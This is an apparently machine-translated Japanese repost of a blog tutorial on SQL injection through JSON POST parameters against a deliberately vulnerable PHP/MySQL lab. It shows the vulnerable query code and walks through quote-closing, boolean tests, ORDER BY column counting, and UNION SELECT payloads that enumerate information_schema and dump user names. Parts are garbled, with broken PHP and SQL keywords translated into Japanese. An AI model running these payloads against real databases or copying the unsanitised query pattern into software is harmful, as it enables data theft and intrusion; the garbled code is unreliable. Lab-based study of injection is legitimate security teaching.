Mysql-Json インジェクション

#導入

JSON は、テキスト情報を格納および交換するための構文であり、軽量のテキスト データ交換形式です。xmlと似ていますが、JSON は XML よりも小さく、高速で、解析が容易です。そのため、インターフェイスのデータ送信は json モードで実行されます。JSON テキストの MIME タイプは「application/json」です。

#Json 文法規則 

データは名前と値のペアです

データはコンマで区切られ、

スラッシュ \ を使用して文字をエスケープします

中括弧 { } はオブジェクトを保持します

ブラケット [] 配列を保存します。配列には複数のオブジェクトを含めることができます

無駄なことはあまり書きたくないので、実用的なことをしましょう

#Json インジェクション環境コード

ここではセキュリティ データベースを使用しているため、このセキュリティ データベース接続を使用します。

<?php
  // php で中国語の文字化けを防止する
  header('content-type:text/html;charset=utf-8');
  
  if(isset($_POST['json'])){     $json_str=$_POST[' json '];     $json=json_decode($json_str);     if(!$json){       die('JSON ドキュメント形式エラー、確認してください');     }     $username=$json->username;     //$password=$json ->password;     // mysql 接続を確立し、root/root がローカル データベースに接続     $mysqli=new mysqli();     $mysqli->connect('localhost','root','root');     if($mysqli-> connect_errno ){       die('Database connection failed:'.$mysqli->connect_error);     }     // 操作するデータベースの名前、私のデータベースは security     $mysqli->select_db('security');     if($mysqli->errno){







 






    



近い();   } ?>

    


    











    




#Json インジェクションと他のインジェクションの違い

 1.パケットレベル

POST 送信データ パケット

 Json によって送信されたデータ パッケージ

 

 

 

JSON パケット形式

注入する必要がある場合は、次のように変更します。注入位置

2. パラメータ通過レベル

タイプを取得

URL:http:www.xxx.index.php?a=1&b=2&C=3

Json型

{

"a":"1"

"b":"2"

"c":"3"

}

#Json インジェクションポイントのテストとクローズ方法

(1) 注入点試験

タイプ注入ポイントのテストを取得

URL http:www.xxx.index.php?a=1&b=2&c=3

注入ポイントを判断するときは、

URL http:www.xxx.index.php?a=1 および 1=2 &b=2&c=3

URL http:www.xxx.index.php?a=1&b=2 および 1=2&c=3

URL http:www.xxx.index.php?a=1&b=2&c=3 および 1=2

Json タイプのインジェクション ポイント テスト:

{

 "a":"1 かつ 1=2"

 "b":"2"

 "c":"3"

}

等々

(2) 閉鎖方法

この画像見て

 

彼が "" 二重引用符を使用していることは、外側の円で見ることができます

ただし、Dumb' の後には一重引用符が続きます

 なぜ?

固定の書き方として、外側の円の "" 二重引用符を取ることができます

 ソースコード

 $sql="SELECT username,password FROM users WHERE username= ' {$username} ' ";

{&username} の外側は「シングル クォーテーション」で囲まれているため、文字型の場合はクローズする必要があり、そのクローズ方法は「シングル クォーテーション クローズ」です

したがって、彼の注射明細書は

Json={"ユーザー名":"admin ' and 1=1 # "}

 彼のコードが

 $sql="SELECT ユーザー名、パスワード FROM ユーザー WHERE ユーザー名={$ユーザー名}";

{$username} 変数の外側の円は文字列でラップされていないため、その注入ステートメントは

json{"ユーザー名":"1 および 1=1"} 

通常の方法でテストを直接閉じる必要はありません

#Json 文字と数字のインジェクションのデモ 

キャラクタータイプ

1.注入ポイントがあるかどうかを判断する

json={"ユーザー名":"admin'and 1=2"}

ページは正常に表示されます

 

 json={"ユーザー名":"管理者' および 1=1#"}

and 1=1 でテスト

通常ページ

and 1=2 でテスト

ページフォールト

注入ポイントの存在を確認する 

2.分野を決める

json={"username":"admin' order by 2#"}

3 つのフィールドを照会すると、ページでエラーが報告される

 

クエリが 2 に達すると、ページは正常にエコーされます

合計 2 つのフィールドを決定する 

3. 表示フィールドを決定する

json={"ユーザー名":"' ユニオン選択 1,2#"}

必ずフィールド 1、2 を表示してください 

4. データベースを取得する

json={"ユーザー名":"' ユニオン セレクト 1,データベース()#"}

 

現在のデータベースがセキュリティであることを確認してください 

5. データ テーブルを取得する

json={"username":"' union select 1,group_concat(table_name)from information_schema.tables where table_Schema=database()#"}

 

6. フィールド情報を取得する

json={"username":"' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' and table_Schema=database()#"}

 

 

7.ライブラリをドラッグ

json={"username":"' union select 1,group_concat(username) from security.users#"}

 

 

デジタル  

テスト方法は文字種と同じ

閉じずに

例えば

json={"ユーザー名"="1 および 1=1"}

json={"ユーザー名"="-1 ユニオン選択 1,2"}

 

おすすめ

転載: blog.csdn.net/m0_72755466/article/details/130176605